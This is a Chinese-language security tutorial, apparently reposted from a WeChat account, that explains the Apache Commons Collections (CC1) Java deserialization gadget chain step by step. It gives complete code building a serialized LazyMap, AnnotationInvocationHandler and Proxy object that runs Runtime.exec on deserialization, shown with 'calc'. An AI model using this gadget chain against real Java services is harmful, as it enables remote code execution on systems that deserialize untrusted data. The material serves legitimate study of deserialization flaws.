JAVA安全 CC链详细分析

admin 2025年2月22日00:21:02评论5 views字数 4232阅读14分6秒阅读模式
JAVA安全 CC链详细分析
JAVA安全 CC链详细分析

    在学习CC链之前,这里先带大家从最基本的代码分析,很多人觉得难的原因,就是因为直接给你上一大坨不懂的代码,肯定难啊。

逐块分析就会很简单。首先来看下方的代码。这是p牛分享的一份简化版本

Transformer[] transformers = new Transformer[]{  new ConstantTransformer(Runtime.getRuntime()),//实现了Transformer的类  //实现了Transformer的类,1,参数名 2,参数类型 3,参数列表  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};  Transformer transformer = new ChainedTransformer(transformers);  Map innerMap = new HashMap();  Map outerMap = TransformedMap.decorate(innerMap,null,transformer);  outerMap.put("test","xxxxx");

短短几行代码,先带大家把Transformer介绍的淋漓尽致。

在首先初始化了一个Transformer的数组,这是做什么用的呢?

onstantTransformer如下:将getRuntime赋给iCOnstant之后,会通过transform返回

JAVA安全 CC链详细分析

InvokerTransformer如下:在进行有参初始化之后(参数1为方法名,参数2是参数类型,参数3是参数值)。在transform方法通过反射进行了调用

JAVA安全 CC链详细分析

ChainedTransformer用来进行存储并保存到Transformer

JAVA安全 CC链详细分析

TransformedMap.decorate用来将transformer传入到valueTransformer中(此时类型为ChainedTransformer)

JAVA安全 CC链详细分析

跟进outerMap.put断点发现,进入transformValue方法

JAVA安全 CC链详细分析

进入之后可以发现调用的是valueTransformer,而valueTransformer是ChainedTransformer类的实例化,所以会进行调用ChainedTransformer.transform中

JAVA安全 CC链详细分析

最终会到达ChainedTransformer中的循环

JAVA安全 CC链详细分析

在这里就会调用回ConstantTransformer.transform中,进行将Runtime.getRuntime()进行返回

JAVA安全 CC链详细分析

第二次调用该Runtime对象就会当做object进行传入

JAVA安全 CC链详细分析

最终就是进入到InvokerTransformer中进行反射执行命令

JAVA安全 CC链详细分析

分析完这个简化版的,是不是觉得游刃有余了。

接下来笔者带大家分析CC1,全部代码如下:

首先不要被吓到,这是一个”链“。1-7行在上面已经带大家调试分析完成了。后面的其实也没多少东西了

CC1链

LazyMap.get()ChainedTransformer.transformer()//命令执行Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},newObject[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},newObject[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};Transformer transformer = new ChainedTransformer(transformers);Map maps = LazyMap.decorate(new HashMap(),transformer);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class,maps);Map ProxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);Object obj = constructor.newInstance(Target.class,ProxyMap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(newFileOutputStream("1.txt"));objectOutputStream.writeObject(obj);objectOutputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("1.txt"));inputStream.readObject();objectOutputStream.close();

第七行:ChainedTransformer用来将transformers数组保存到transformer变量中。相当于把它们包成一个变量。这个有什么用处呢?稍后你就会发现的。

之后分析LazyMap.decorate()方法,用来将transformer这个数组保存到保存到factory变量中。可能有人会有疑问,这里是不能直接调用其构造的。

通过使用LazyMap.decorate()传入,在其中会通过new进行传入的。

JAVA安全 CC链详细分析

而LazyMap的get方法,会执行factory.transform(),这个factory不就是在初始化传入的transformer这个数组嘛,相当于ChainedTransformer.transformer()是不是非常熟悉的味道?这样就会执行命令

JAVA安全 CC链详细分析

那现在的问题就是,LazyMap.get方法,会被谁调用呢?

经过前辈们的探索,最终在AnnotationInvocationHandler.invoke()方法会调用memberValues.get方法

(memberValues是一个可传入的变量)

查看其构造,可以发现memberValues则是有参构造中的var2参数。var2则是Lazymap。(这里反射调

用是因为该构造是受保护的)

Map maps = LazyMap.decorate(new HashMap(),transformer);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class,maps);

JAVA安全 CC链详细分析

那么现在问题就是,如何调用AnnotationInvocationHandler的invoke方法呢,于是就可以通过动态代理来调用

我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。

通过生成一个动态代理来使用,代理后的对象但是不能被序列化的

Map ProxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);Object obj = constructor.newInstance(Target.class,ProxyMap);

所以可以通过AnnotationInvocationHandler进行包裹一层,因为AnnotationInvocationHandler实现了

Serializable,所以是可以进行序列化的

JAVA安全 CC链详细分析

最后进行序列化和反序列化即可

ObjectOutputStream objectOutputStream = new ObjectOutputStream(newFileOutputStream("1.txt"));objectOutputStream.writeObject(obj);objectOutputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("1.txt"));inputStream.readObject();objectOutputStream.close();

最终成功执行

JAVA安全 CC链详细分析

关于公众号投稿 

  • 目前只接受原创文章投稿 内容免杀 渗透实例 代码审计 溯源 经验技巧

  • 要求 质量较好 从没发表 如有敏感内容请打码。

  • 一经采纳根据文章质量给予作者 50-300的稿费。

  • 欢迎写手长期合作 投稿联系

    JAVA安全 CC链详细分析

原文始发于微信公众号(moonsec):JAVA安全 CC链详细分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月22日00:21:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全 CC链详细分析http://cn-sec.com/archives/864670.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息